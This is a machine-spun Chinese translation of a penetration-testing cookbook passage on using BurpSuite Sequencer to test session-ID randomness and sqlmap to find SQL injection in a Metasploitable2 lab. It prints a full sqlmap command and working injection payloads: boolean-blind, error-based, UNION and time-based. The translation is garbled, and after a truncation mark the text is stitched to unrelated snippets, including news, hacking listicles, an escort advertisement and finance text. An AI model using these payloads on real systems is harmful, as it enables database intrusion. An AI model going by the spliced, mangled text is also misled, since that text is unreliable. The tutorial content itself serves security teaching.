创作者:Justin Hutchens
译员:巨龙
协议书:CC BY-NC-SA 4.0
Web 运用会话一般 由会话 ID 标志来维护保养,它由任意或伪随机值构成。出自于这一缘故,偶然性一般 是这种运用的安全性的重要。这一秘笈中,大家会探讨怎么使用 BurpSuite Sequencer 来搜集形成的值,并测试他们的偶然性。
为了更好地应用 BurpSuite 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。
除此之外,你的 Web 电脑浏览器必须配备来根据 BurpSuite 当地案例 *** 商 Web 总流量。有关将 BurpSuite 作为浏览器 *** 的其他信息,请参照之一章的“配备 BurpSuite”一节。
为了更好地应用 BurpSuite Sequencer,响应务必包括Set-Cookie协议书头,或是其他伪随机数的值,测试必须他们来推送。这能够根据HTTP *** 商历史时间或是在于电脑浏览器的响应阻拦来进行,像那样:
Burp 会全自动应用响应中的全部 Cookie 值添充 Cookie 下拉列表。做为取代,你能应用Custom location字段名,以后点一下Configure按键来特定响应中的一切部位用以测试,像那样:
在明确必须测试的值以后,点一下Start live capture按键,这会逐渐递交很多请求来得到 参数的增加值。这一事例中,Burp 会递交很多请求,并将 PHPSESSID 从请求中除去。这会造成 *** 服务器为每一个请求形成新的会话标志。这样一来,大家就可以得到 样版值,他们能够用以进行 FIPS 测试。FIPS 测试由一系列测试构成,他们会资产评估公司形成的伪随机数的熵。全部这种测试会以图型文件格式展现,使其十分通俗易懂,像那样:
针对高准确度和完全的 FIPS 测试而言,一共必须 20000 个值。可是剖析至少能够以 100 个值来实行。除开实行即时捕捉以外,Manual load标签页能够用以为测试提交或黏贴值的目录。
BurpSuite Sequencer 对伪随机数样版实行很多不一样的数学课评定,依据所生成随机数的熵试着分辨其品质。即时捕捉可用以形成样版值,它根据递交事前结构的请求,并造成 *** 服务器分派新的值。这一般 根据从请求中清除目前Cookie值,进而使响应以新的Set-Cookie协议书头的方式,出示新的会话标志来进行。
Web 运用经常接纳所出示 URL 内的参数。这种参数一般 以 HTTP GET 方式发送给 *** 服务器。假如一切这种参数接着包括在发送给后端开发数据库查询的查看句子中,SQL 引入系统漏洞就很有可能存有。大家会探讨怎么使用 sqlmap 来自动化技术 HTTP GET 方式请求参数的测试。
为了更好地应用 sqlmap 对总体目标实行 Web 运用剖析,你需要有着运作一个或好几个 Web 运用的远程控制系统软件。所出示的事例中,大家应用 Metasploitable2 案例来达到目标。 Metasploitable2 有着多种多样预安裝的系统漏洞 Web 运用,运作在 TCP 80 端口号上。配备 Metasploitable2 的其他信息请参照之一章中的“安裝 Metasploitable2”秘笈。
为了更好地应用 sqlmap 来测试 HTTP GET 方式参数,你需要应用-u参数及其要测试的 URL。这一 URL 应当包括一切 GET 方式参数。除此之外,假如 Web 內容只是根据创建的会话来方式,还必须应用--cookie出示与会话相匹配的 Cookie。
root@KaliLinux:~# sqlmap -u " sqli/?id=x&Submit=y" --cookie="security=low; PHPSESSID=bcd9bf6b6171b16f94 3cd20c1651bf8f" --risk=3 --level=5
**{CUT}**
sqlmap identified the following injection points with a total of 279 HTTP(s) requests:
--
Place: GET
Parameter: id
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause
Payload: id=-2345' OR (1644=1644) AND 'moHu'='moHu&Submit=y
Type: error-based
Title: MySQL >=5.0 AND error-based - WHERE or HAVING clause
Payload: id=x' AND (SELECT 1537 FROM(SELECT COUNT(*),CONCAT(0x3a6b6f 683a,(SELECT (CASE WHEN (1537=1537) THEN 1 ELSE 0 END)),0x3a696a793a,FLO OR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a) AND 'VHVT'='VHVT&Submit=y
Type: UNION query
Title: MySQL UNION query (NULL) - 2 columns
Payload: id=x' UNION ALL SELECT CONCAT(0x3a6b6f683a,0x7979634f4e716b7 55961,0x3a696a793a),NULL#&Submit=y
Type: AND/OR time-based blind
Title: MySQL
Payload: id=x' AND 5276=BENCHMARK(5000000,MD5(0x704b5772)) AND 'XiQP'='XiQP&Submit=y
--
**{TRUNCATED}** 1234567891011121314151617181920212223242512345678910111213141516171819202122232425
中新社广州12月4日电 (王坚)受冷空气影响,连日来广东各地气温骤降,位于该省粤北地区的清远市连山壮族瑶族自治县金子山4日出现-2.1℃的低温,山上出现冰挂、雾凇美景,一派北国风光。 广东省...
本文导读目录: 1、索尼为什么会惹上黑客 2、14年全球有哪些网络被攻击的案例 3、全球最为严重的黑客入侵事件有哪几起? 4、索尼和黑客什么仇什么怨 5、ps5版黑客帝国怎么下载...
深圳高端商务陪伴小学妹上门【陈琼琼】,上海是一座成功人士的聚集地,对商业模特的需求也是比较大的,今天明星商务分享模特访梦,年龄杭州 女 27,婚姻:未婚,学历:高中,气质:深圳高端商务陪伴小学妹上门寻...
什么叫销账(到底什么叫贷款核销)金融机构从业者常常会听见贷款核销这个词,到底什么叫贷款核销呢?搜百度那样说的:贷款核销是“呆帐贷款核销” 的通称,金融机构按照规定将呆帐借款或借款损害给予销账的一种...
近来加密钱银价格走势如过山车般跌宕起伏,2019年6月比特币成功翻身,价格重返五位数,几人欢欣几人哀痛,这其间最欢欣莫过于歹意挖矿黑产从业者,因为其隐匿性、低成本、无中间商赚差价,导致挖矿木马是近年来...
一个网站如果想要具有更高的吸引力,那就需要从提升网站的效果和用户体验出发,提升用户对网页的注意力和吸引力,现在市场上各行各业都有自己的网站,一个网站的专业度越来越体现在网页设计上。 第一、需要充分利...